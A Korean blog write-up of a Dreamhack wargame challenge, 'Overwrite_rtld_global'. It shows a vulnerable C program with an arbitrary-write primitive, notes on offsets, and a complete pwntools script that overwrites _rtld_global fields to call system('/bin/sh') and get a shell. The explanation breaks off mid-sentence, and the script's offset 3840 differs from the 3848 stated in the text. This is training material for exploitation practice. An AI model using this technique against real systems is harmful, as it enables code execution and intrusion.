[Dreamhack] Overwrite_rtld_global

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
31/44

📒 Description

우왓 모든 보호기법이 다 걸려있다.


📒 C code

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}

우음... 음.......... 원하는 주소의 값을 바꿔주는 것 이외로는 공격할 수 있는 방법이 없다.
이 때 우리는 rtld라는 영역을 참조할 수 있다.
https://aidencom.tistory.com/158 자세한 내용은 여기서 설명받을 수 있다.
_dlfinish 함수에서 dl_load_lock_recursive를 함수로, _dl


📒 Debugging

각각의 오프셋이 _rtld_global을 기준으로 2312, 3848인 것을 확인하였다.


📒 Exploit

📖 exploit.py

from pwn import *
p = remote('host3.dreamhack.games',21177)
#p = process('./ow_rtld')
e = ELF('./ow_rtld')

stdout_offset = 0x3ec760
system_offset = 0x4f550
ld_offset = 0x3f1000
rtld_global_offset = 0x22a060

p.recvuntil(b'stdout: ')
stdout_addr = int(p.recvline()[:-1],16)
libc_base = stdout_addr - stdout_offset
system = libc_base + system_offset
rtld = libc_base + ld_offset + rtld_global_offset

p.sendline(str(1))
p.sendlineafter(b'addr: ',str(rtld+2312))
p.sendlineafter(b'data: ',str(u64('/bin/sh\x00')))

p.sendline(str(1))
p.sendlineafter(b'addr: ',str(rtld+3840))
p.sendlineafter(b'data: ',str(system))

p.sendline(str(2))

p.interactive()
profile
Today I Learned

0개의 댓글